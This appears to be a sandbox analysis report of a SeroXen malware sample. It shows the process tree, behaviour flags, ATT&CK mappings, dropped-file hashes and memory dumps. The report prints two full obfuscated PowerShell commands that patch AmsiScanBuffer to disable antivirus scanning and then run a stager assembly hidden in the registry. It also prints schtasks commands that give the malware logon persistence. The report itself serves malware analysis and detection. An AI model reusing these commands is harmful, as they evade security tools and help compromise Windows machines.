@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MPynaSVXnXv=$pljiSZCUlegiE.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+'d'+[Char](108)+''+'l'+'')));$gOwNyBzWqiBRRa=$jicIGYrmyJiTky.Invoke($Null,@([Object]$MPynaSVXnXv,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$RNDfNFhPZDqgrkLjC=$jicIGYrmyJiTky.Invoke($Null,@([Object]$MPynaSVXnXv,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+'u'+'alPr'+'o'+''+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$myycMky=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gOwNyBzWqiBRRa,$jgBDxpAtpCdGYOUNSkA).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$YvRuHxlKwiCmykVTp=$jicIGYrmyJiTky.Invoke($Null,@([Object]$myycMky,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$JydSHrvgHh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RNDfNFhPZDqgrkLjC,$QZmvkgqplAIMthhHPUFidA).Invoke($YvRuHxlKwiCmykVTp,[uint32]8,4,[ref]$JydSHrvgHh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YvRuHxlKwiCmykVTp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RNDfNFhPZDqgrkLjC,$QZmvkgqplAIMthhHPUFidA).Invoke($YvRuHxlKwiCmykVTp,[uint32]8,0x20,[ref]$JydSHrvgHh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'TWA'+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+'7s'+'t'+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:nTShvqqOlXJF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$sVwAhUgJcwTTrt,[Parameter(Position=1)][Type]$OPqvajYzdD)$khRSHGkVDla=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nM'+[Char](101)+''+'m'+'o'+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+'e'+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+'t'+''+[Char](101)+''+[Char](84)+'y'+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+'P'+'u'+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+'a'+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'ns'+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$khRSHGkVDla.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+'e'+'c'+'ial'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'yS'+'i'+''+[Char](103)+''+','+'Pu'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$sVwAhUgJcwTTrt).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+'i'+'m'+''+'e'+''+[Char](44)+''+[Char](77)+'an'+'a'+'g'+[Char](101)+''+[Char](100)+'');$khRSHGkVDla.DefineMethod('I'+'n'+''+'v'+''+[Char](111)+''+'k'+''+'e'+'',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+'c'+','+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+'S'+'ig'+','+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+[Char](108)+'',$OPqvajYzdD,$sVwAhUgJcwTTrt).SetImplementationFlags('Ru'+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+','+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+'g'+'e'+''+'d'+'');Write-Output $khRSHGkVDla.CreateType();}$TniGVaXInvNmk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Syst'+'e'+''+'m'+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+'o'+'f'+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'sa'+[Char](102)+''+[Char](101)+''+'N'+'a'+[Char](116)+''+'i'+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$xlDFlvVQVbhVgl=$TniGVaXInvNmk.GetMethod(''+[Char](71)+''+'e'+'tP'+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$yWWitRDytSCPhVRKomK=nTShvqqOlXJF @([String])([IntPtr]);$OevTuEzBXpafqZwbKoKojr=nTShvqqOlXJF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IULiqpFBicm=$TniGVaXInvNmk.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'d'+'u'+''+'l'+'e'+[Char](72)+'an'+'d'+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+[Char](110)+'el'+[Char](51)+'2.'+'d'+''+[Char](108)+''+'l'+'')));$kasJvPQkaqTDwy=$xlDFlvVQVbhVgl.Invoke($Null,@([Object]$IULiqpFBicm,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+'i'+''+'b'+''+'r'+''+[Char](97)+'r'+[Char](121)+'A')));$dXROgPLURehdzDRSb=$xlDFlvVQVbhVgl.Invoke($Null,@([Object]$IULiqpFBicm,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$fAwRRwv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kasJvPQkaqTDwy,$yWWitRDytSCPhVRKomK).Invoke(''+'a'+'ms'+'i'+''+[Char](46)+'d'+'l'+''+[Char](108)+'');$BVnalgrcQxzArHHJb=$xlDFlvVQVbhVgl.Invoke($Null,@([Object]$fAwRRwv,[Object](''+[Char](65)+'m'+'s'+'i'+[Char](83)+''+[Char](99)+'anB'+[Char](117)+''+[Char](102)+''+'f'+''+'e'+''+[Char](114)+'')));$oaGSsPlbIp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dXROgPLURehdzDRSb,$OevTuEzBXpafqZwbKoKojr).Invoke($BVnalgrcQxzArHHJb,[uint32]8,4,[ref]$oaGSsPlbIp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$BVnalgrcQxzArHHJb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dXROgPLURehdzDRSb,$OevTuEzBXpafqZwbKoKojr).Invoke($BVnalgrcQxzArHHJb,[uint32]8,0x20,[ref]$oaGSsPlbIp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+'s'+'t'+'a'+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1340

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1584

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2640

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1268

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3092

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3320

C:\Users\Admin\AppData\Local\Temp\Uni.exe
"C:\Users\Admin\AppData\Local\Temp\Uni.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1612

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "SeroXen" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:3708

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
4⤵
- Executes dropped EXE
PID:3504

C:\Users\Admin\AppData\Local\Temp\install.exe
"C:\Users\Admin\AppData\Local\Temp\install.exe"
3⤵
- Executes dropped EXE
PID:2480

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Uni.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Uni.exe'" /sc onlogon /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:5044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3460

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3808

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3888

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3980

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4408

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4632

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3584

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4164

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\install.exe

Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe

Filesize
409KB

MD5
16e4226eddebe2148b46353c351ec570

SHA1
5879aab64c4d4c086f24807f85c3f1bec657db9c

SHA256
04f86ef6a2870bcaff958187d1bbf7281e6c8c1c1f2fbefddc11e3a379e4f9b9

SHA512
7fa89b0aee061fca53534c7e38dfa873235095e32f64e87d7a8457e765f804d8f2408e90b90a484ea3e9c18d1110a5667de9aab14d9d9e22911433e9da4cfd38

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_ivgmbal3.ysw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
664B

MD5
1097fe290d3def87bc547af62d71d1cf

SHA1
062a6bfb8863550aaa0f6af349b56d7861879bc3

SHA256
1d4b0359ef1ef5189d4eb9b6caf0c35c87298465a4b8efd35f6628479fae8140

SHA512
99d4ffe9aba3b274d2da2346f5ef07754b9107b55cd415e3bfbdd8f074f5c269945a3328f67d4ebace93195c812be410f92b474b025153154b1009f46e43328e

Download Submit
memory/388-98-0x00000242C9260000-0x00000242C928B000-memory.dmp

Filesize
172KB

Download
memory/388-92-0x00000242C9260000-0x00000242C928B000-memory.dmp

Filesize
172KB

Download
memory/388-99-0x00007FFD83450000-0x00007FFD83460000-memory.dmp

Filesize
64KB

Download
memory/476-103-0x000002201C0F0000-0x000002201C11B000-memory.dmp

Filesize
172KB

Download
memory/632-66-0x00007FFD83450000-0x00007FFD83460000-memory.dmp

Filesize
64KB

Download
memory/632-65-0x00000220AA680000-0x00000220AA6AB000-memory.dmp

Filesize
172KB

Download
memory/632-57-0x00000220AA650000-0x00000220AA675000-memory.dmp

Filesize
148KB

Download
memory/632-58-0x00000220AA680000-0x00000220AA6AB000-memory.dmp

Filesize
172KB

Download
memory/632-59-0x00000220AA680000-0x00000220AA6AB000-memory.dmp

Filesize
172KB

Download
memory/688-76-0x0000023987E00000-0x0000023987E2B000-memory.dmp

Filesize
172KB

Download
memory/688-70-0x0000023987E00000-0x0000023987E2B000-memory.dmp

Filesize
172KB

Download
memory/688-77-0x00007FFD83450000-0x00007FFD83460000-memory.dmp

Filesize
64KB

Download
memory/816-6-0x00000000058B0000-0x00000000058C2000-memory.dmp

Filesize
72KB

Download
memory/816-20-0x0000000074700000-0x0000000074EB1000-memory.dmp

Filesize
7.7MB

Download
memory/816-7-0x0000000005E00000-0x0000000005E3C000-memory.dmp

Filesize
240KB

Download
memory/816-0-0x000000007470E000-0x000000007470F000-memory.dmp

Filesize
4KB

Download
memory/816-5-0x0000000004CA0000-0x0000000004D06000-memory.dmp

Filesize
408KB

Download
memory/816-4-0x0000000074700000-0x0000000074EB1000-memory.dmp

Filesize
7.7MB

Download
memory/816-3-0x0000000004C00000-0x0000000004C92000-memory.dmp

Filesize
584KB

Download
memory/816-2-0x00000000050C0000-0x0000000005666000-memory.dmp

Filesize
5.6MB

Download
memory/816-1-0x0000000000070000-0x00000000000DC000-memory.dmp

Filesize
432KB

Download
memory/980-88-0x00007FFD83450000-0x00007FFD83460000-memory.dmp

Filesize
64KB

Download
memory/980-87-0x0000027D48320000-0x0000027D4834B000-memory.dmp

Filesize
172KB

Download
memory/980-81-0x0000027D48320000-0x0000027D4834B000-memory.dmp

Filesize
172KB

Download
memory/1084-43-0x000002415F970000-0x000002415F99A000-memory.dmp

Filesize
168KB

Download
memory/1084-45-0x00007FFDC2260000-0x00007FFDC231D000-memory.dmp

Filesize
756KB

Download
memory/1084-29-0x000002415F5C0000-0x000002415F5E2000-memory.dmp

Filesize
136KB

Download
memory/1084-44-0x00007FFDC33C0000-0x00007FFDC35C9000-memory.dmp

Filesize
2.0MB

Download
memory/1572-1293-0x0000000074700000-0x0000000074EB1000-memory.dmp

Filesize
7.7MB

Download
memory/1572-13-0x0000000074700000-0x0000000074EB1000-memory.dmp

Filesize
7.7MB

Download
memory/1572-14-0x0000000074700000-0x0000000074EB1000-memory.dmp

Filesize
7.7MB

Download
memory/1572-34-0x0000000006B80000-0x0000000006B8A000-memory.dmp

Filesize
40KB

Download
memory/4188-47-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4188-49-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4188-54-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4188-46-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4188-48-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4188-53-0x00007FFDC2260000-0x00007FFDC231D000-memory.dmp

Filesize
756KB

Download
memory/4188-52-0x00007FFDC33C0000-0x00007FFDC35C9000-memory.dmp

Filesize
2.0MB

Download
memory/4188-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download